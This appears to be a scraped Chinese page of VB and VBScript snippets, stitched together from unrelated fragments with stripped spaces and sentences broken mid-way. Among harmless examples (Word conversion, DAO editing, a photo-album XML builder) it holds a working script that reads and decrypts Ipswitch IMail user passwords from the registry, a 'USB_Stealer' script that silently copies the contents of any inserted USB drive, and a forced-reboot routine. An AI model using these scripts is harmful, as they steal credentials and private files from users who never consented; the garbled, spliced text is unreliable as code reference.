----服务程序中三个关键程序段如下：

----１．处理连接请求

----sckServer_ConnectionRequest过程处理连接请求,当远程计算机要求连接时,服务器首先检查用户自定义数组中是否有空闲位置(因为在谈话中途,肯定会有人退出,所以会产生空闲位置),如果有则选择空闲位置给予要求连接的客户,否则将数组维数加一,将之给予请求连接的远程节点on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SOFTWARE\Ipswitch\IMail\Domains" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo "Domain: "&subkey strKeyPath2=strKeyPath&""&subkey&"\Users" oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2&""&subkey2 strValueName="Password" oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue if len(subkey2) and len(strValue) then wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) end if Next Next function decrypt(name,pass) while len(name)<len(pass)/2 name=name&name wend for i=0 to len(pass)/2-1 p=mid(pass,2*i+1,2) p="&H"&p n=mid(name,i+1,1) decrypt=decrypt&chr(clng(p)-asc(n)) next end function

我常用的VBS对象只有下面几个：

由于ASP是对整个脚本代码进行解释执行的，在对各组件进行组装时，人们逐渐发现这种技术的固有的局限性

如果您希望看到它在屏幕上弹出，保存文件，然后消失，请使用以下代码： ConstwdFormatText=2 SetobjWord=CreateObject("Word.Application") objWord.Visible=TRUE SetobjDoc=objWord.Documents.Open("c:\scripts\mylog.doc") objDoc.SaveAs"c:\scripts\mylog.txt",wdFormatText objWord.Quit 唯一的不同之处在于：我们将“Visible”属性设置为TRUE一个小例子，在编程之前，请选择“工程”-“引用”确定引用“microsoftDAO3.51Objectlibrary”dimdbasdatabasedimrsasrecordsetprivatesubform1_load()Setdb=OpenDatabase(App.Path "\TTT.mdb")'（）内是你的数据库所在位置Setrs=db.OpenRecordset("ABC")'（）内是你数据库里面的表名endsub修改数据库的方法是：privatesubEditNow()NewName=text1.textNewP=text2.textwithrs.edit!名字=Lcase(newname)'“名字”是你表中的项目，（newname）内是你根据你的代码改变的值!密码=Lcase(newp)'同上.updateendwithendsub建立是用rs.addnew呵呵，方法就是这样，希望会对菜鸟有帮助

RebootsaWindows2000PC.ManyexamplesshelltothekernelandjustkillthePC.Thisdoesitproperlyandtakesintoaccountauserprivilages.'APICallsusedforRebootPCPrivateConstTOKEN_ADJUST_PRIVILEGES=&H20PrivateConstTOKEN_QUERY=&H8PrivateConstSE_PRIVILEGE_ENABLED=&H2PrivateConstEWX_SHUTDOWNAsLong=1PrivateConstEWX_FORCEAsLong=4PrivateConstEWX_REBOOT=2PrivateTypeLUID　UsedPartAsLong　IgnoredForNowHigh32BitPartAsLongEndTypePrivateTypeTOKEN_PRIVILEGES　PrivilegeCountAsLong　TheLuidAsLUID　AttributesAsLongEndTypePrivateDeclareFunctionExitWindowsExLib"user32"(ByValdwOptionsAsLong,ByValdwReservedAsLong)AsLongPrivateDeclareFunctionGetCurrentProcessLib"kernel32"()AsLongPrivateDeclareFunctionOpenProcessTokenLib"advapi32"(ByValProcessHandleAsLong,ByValDesiredAccessAsLong,TokenHandleAsLong)AsLongPrivateDeclareFunctionLookupPrivilegeValueLib"advapi32"Alias"LookupPrivilegeValueA"(ByVallpSystemNameAsString,ByVallpNameAsString,lpLuidAsLUID)AsLongPrivateDeclareFunctionAdjustTokenPrivilegesLib"advapi32"(ByValTokenHandleAsLong,ByValDisableAllPrivilegesAsLong,NewStateAsTOKEN_PRIVILEGES,ByValBufferLengthAsLong,PreviousStateAsTOKEN_PRIVILEGES,ReturnLengthAsLong)AsLongSubRebootPC()　OnLocalErrorGoToRebootPC_ErrorHandler　ConstcsProcName="RebootPC"　DimhProcessHandleAsLong　DimhTokenHandleAsLong　DimtmpLuidAsLUID　DimtkpNewAsTOKEN_PRIVILEGES　DimtkpPreviousAsTOKEN_PRIVILEGES　DimlBufferNeededAsLong　hProcessHandle=GetCurrentProcess()　CallOpenProcessToken(hProcessHandle,TOKEN_ADJUST_PRIVILEGESOrTOKEN_QUERY,hTokenHandle)'GettheLUIDfortheshutdownprivilege　CallLookupPrivilegeValue("","SeShutdownPrivilege",tmpLuid)　tkpNew.PrivilegeCount=1'Oneprivilegetoset　tkpNew.TheLuid=tmpLuid　tkpNew.Attributes=SE_PRIVILEGE_ENABLED'Enabletheshutdownprivilegeintheaccesstokenofthisprocess.　lBufferNeeded=0　CallAdjustTokenPrivileges(hTokenHandle,False,tkpNew,Len(tkpPrevious),tkpPrevious,lBufferNeeded)'ForceaReboot(nooptiontosavefilestocancelout)　CallExitWindowsEx(EWX_FORCEOrEWX_REBOOT,&HFFFF)　ExitSubRebootPC_ErrorHandler:　CallRaiseError(csModName,csProcName,Err.Number,Err.Description)EndSub->

'=========================================='Name : USB_Stealer 'Date : 2010/5/25 'Author : Demon 'Copyright : Copyright (c) 2010 Demon 'E-Mail : still.demon@gmail.com 'QQ : 380401911 'Website : '=========================================='Option Explicit On Error Resume Next Const Target_Folder="C:\USB" Call Main() Sub Main() On Error Resume Next Const Device_Arrival=2 Const Device_Removal=3 Const strComputer="." Dim objWMIService, colMonitoredEvents, objLatestEvent Set objWMIService=GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\" _ & strComputer & "\root\cimv2") Set colMonitoredEvents=objWMIService. _ ExecNotificationQuery( _ "Select * from Win32_VolumeChangeEvent") Do Set objLatestEvent=colMonitoredEvents.NextEvent Select Case objLatestEvent.EventType Case Device_Arrival Copy_File objLatestEvent.DriveName End Select Loop End Sub Sub Copy_File(Folder_Path) On Error Resume Next Dim fso,file,folder Set fso=CreateObject("scripting.filesystemobject") If Not fso.FolderExists(Target_Folder) Then fso.CreateFolder(Target_Folder) End If For Each file In fso.GetFolder(Folder_Path).Files file.Copy Target_Folder & "" & file.Name,True Next For Each folder In fso.GetFolder(Folder_Path).SubFolders folder.Copy Target_Folder & "" & folder.Name,True Next End Sub三分钟短片优秀个人宣传片

　　下面可以导出Xls,DBF,DB,MDB(表）,这些功能是由ISAM数据库接口实现，为了导出各种版本的文件，我在MS网站下载了最新的JET4和MDAC6'***************************************************************** '** Script: CreateXML.vbs '** Version: 1.0 '** Created: 01/12/2009 9:51PM '** Author: Adriaan Westra '** E-mail: '** Purpose / Comments: '** Create xml file for photo album '** '** '** Changelog : '** 12-01-2009 9:51 : Initial version '** '***************************************************************** On Error Resume next Dim Version : Version="1.0" ' Script version Dim Author : Author="A. Westra" Dim objXML 'XML Document object Dim root 'Root element of the xml document Dim newNode ' XML Node object Dim cNode ' XML (child) Node object Dim cNodeText ' XML Text Node object '***************************************************************** '** Make sure the script is started with cscript If InStr(wscript.FullName, "wscript.exe") > 0 Then MsgBox "Please run this script with cscript.exe." & Chr(13) & _ "For example : cscript " & WScript.ScriptName & " /?", _ vbExclamation, WScript.ScriptName WScript.Quit(1) End If '***************************************************************** '** Get commandline parameters Set Args=Wscript.Arguments If Args.Count=0 Then strImageDir=InputBox("Please give the directory name " & _ "to process : ",wscript.scriptname, strPath) Else If InStr(Args(0),"/?") > 0 Or InStr(UCase(Args(0)),"/H") > 0 _ Or InStr(UCase(Args(0)),"/HELP") > 0 Then DisplayHelp Wscript.quit(0) Else strImageDir=Args(0) End if End if Set objXML=CreateObject("Msxml2.DOMDocument.6.0") objXML.setProperty "SelectionLanguage", "XPath" '***************************************************************** '** Determine if the file exists strXMLFile=strImageDir & "\album.xml" Set objFSO=CreateObject("Scripting.FileSystemObject") If objFSO.FileExists(strXMLFile) Then '***************************************************************** '** Read the XML File objXML.load(strXMLFile) Else '***************************************************************** '** Create the XML File objXML.loadXML("") End If '***************************************************************** '** Process directory Set objImgDir=objFSO.GetFolder(strImageDir) For each objFile in objImgDir.Files If IsJPG(objFile.Name) Then arrTemp=split(objFile.Name, ".") strNode=arrTemp(0) '***************************************************************** '** Determine if the node exists If Not XmlNodeExists(strChildNode, objXML) Then '***************************************************************** '** Get the root element of the xml document Set root=objXML.documentElement '***************************************************************** '** Create the new node Set newNode=objXML.createNode(1, strNode, "") root.appendChild newNode Set cNode=objXML.createNode(1, "alt", "") Set cNodeText=objXML.createNode(3, "", "") cNodeText.Text=strNode cNode.appendChild cNodeText newNode.appendChild cNode Set cNode=objXML.createNode(1, "Title", "") Set cNodeText=objXML.createNode(3, "", "") cNodeText.Text=strNode cNode.appendChild cNodeText newNode.appendChild cNode End If End If Next '***************************************************************** '** Save the xml file objXML.save(strXMLFile) '***************************************************************** '** End the script wscript.quit '***************************************************************** '** Function: XmlNodeExists '** Version: 1.0 '** Created: 1/12/2009 12:14PM '** Author: Adriaan Westra '** E-mail: '** '** Purpose / Comments: '** Determines if a node exists in XML '** '** Arguments : '** strNode :Name of the XML node '** oXML :XMl DOM Object '** '** Changelog : '** 1/12/2009 12:16PM : Initial version '** '***************************************************************** Function XmlNodeExists( strNode, oXML ) On Error Resume next Set oNode=oXML.selectSingleNode(strNode) strNodetype=oNode.nodetype If err.number=0 Then XmlNodeExists=True Else XmlNodeExists=False End if End Function '***************************************************************** '** Sub: DisplayHelp '** Version: 1.0 '** Created: 24-03-2003 8:22 '** Author: Adriaan Westra '** E-mail: '** '** Purpose / Comments: '** Display help for script '** '** Arguments : '** '** Wijzigingslog : '** 24-03-2003 8:22 : Initile versie '** '***************************************************************** Sub DisplayHelp() strComment=string(2,"*") strCmntLine=String(79, "*") wscript.echo strCmntline wscript.echo strComment wscript.echo strComment & " Online help for " & _ Wscript.scriptname & " version : " & Version wscript.echo strComment wscript.echo strComment & " Usage : cscript " & _ Wscript.scriptname & " directoryname" wscript.echo strComment wscript.echo strComment & " Purpose : Create XML file " & _ "for all images in given directory." wscript.echo strComment wscript.echo strComment & " Author : " & Author wscript.echo strComment & " E-mail : " & Email wscript.echo strComment wscript.echo strCmntline End Sub '***************************************************************** '** Function: IsJPG '** Version: 1.0 '** Created: 12/29/2008 11:01PM '** Author: Adriaan Westra '** E-mail: '** '** Purpose / Comments: '** Determine if file is jpg image '** '** Arguments : '** strFilename : name of the file to check '** '** Wijzigingslog : '** 12/29/2008 11:02PM : Initile versie '** '***************************************************************** Function IsJPG(strFilename) Set objRegExp=New RegExp objRegExp.Pattern="\w.jpg" objRegExp.IgnoreCase=True IsJPG=objRegExp.Test(strFileName) End Function 。